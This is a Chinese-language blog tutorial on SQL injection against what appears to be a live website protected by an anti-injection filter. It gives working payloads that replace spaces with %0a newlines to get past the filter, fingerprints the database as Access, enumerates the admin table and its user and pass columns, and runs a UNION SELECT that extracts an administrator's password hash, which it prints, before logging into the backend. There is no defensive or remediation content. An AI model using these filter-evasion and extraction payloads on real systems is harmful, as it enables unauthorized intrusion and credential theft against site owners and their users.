1. 程式人生 > >SQL繞過實例

SQL繞過實例

網頁 判斷 成功 alt sys acc -s 數據 order by

簡單判斷是否存在註入

技術分享

技術分享

發現有防註入系統,在網站地址後加入“-0”和“/”進行測試

技術分享

技術分享

明顯存在SQL註入。

post提交無法繞過

在Post data中輸入and 1=1 和and 1=2,勾選“Enable Post data”,單擊“Execute”進行測試,如圖所示,結果無任何變化,說明直接post提交無法繞過。

技術分享

使用%09(也就是tab鍵)可以繞過,經過測試還是不行,如圖所示,用%0a(換行符)替換下空格成功繞過

技術分享

技術分享

通過and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出錯信息來判斷網站采用的數據庫類型。若數據庫是SQL-SERVE,則第一條,網頁一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。在POST中通過依次提交:

and%0a(select%0acount(*)%0afrom%0asysobjects)>0

and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

其結果顯示“目前還沒有內容!”實際內容應該是id=1158的內容,兩條語句執行的結果均為異常,說明為access數據庫。

技術分享

技術分享

通過order by判斷列名

技術分享

技術分享

判斷是否存在admin表

and (select count(*) from admin)>0

and%0a(select%0acount(*)%0afrom%0aadmin)>0

技術分享

判斷是否存在user以及pass字段

and %0a (select%0acount(user) %0afrom%0aadmin)>0

and%0a (select%0acount(pass) %0afrom%0aadmin)>0

技術分享

技術分享

獲取管理員密碼

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,獲取admin-dh用戶的密碼“5ed9ff1d48e059b50db232f497b35b45”

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,獲取id為1的用戶密碼

技術分享

登錄後臺

技術分享

技術分享

SQL繞過實例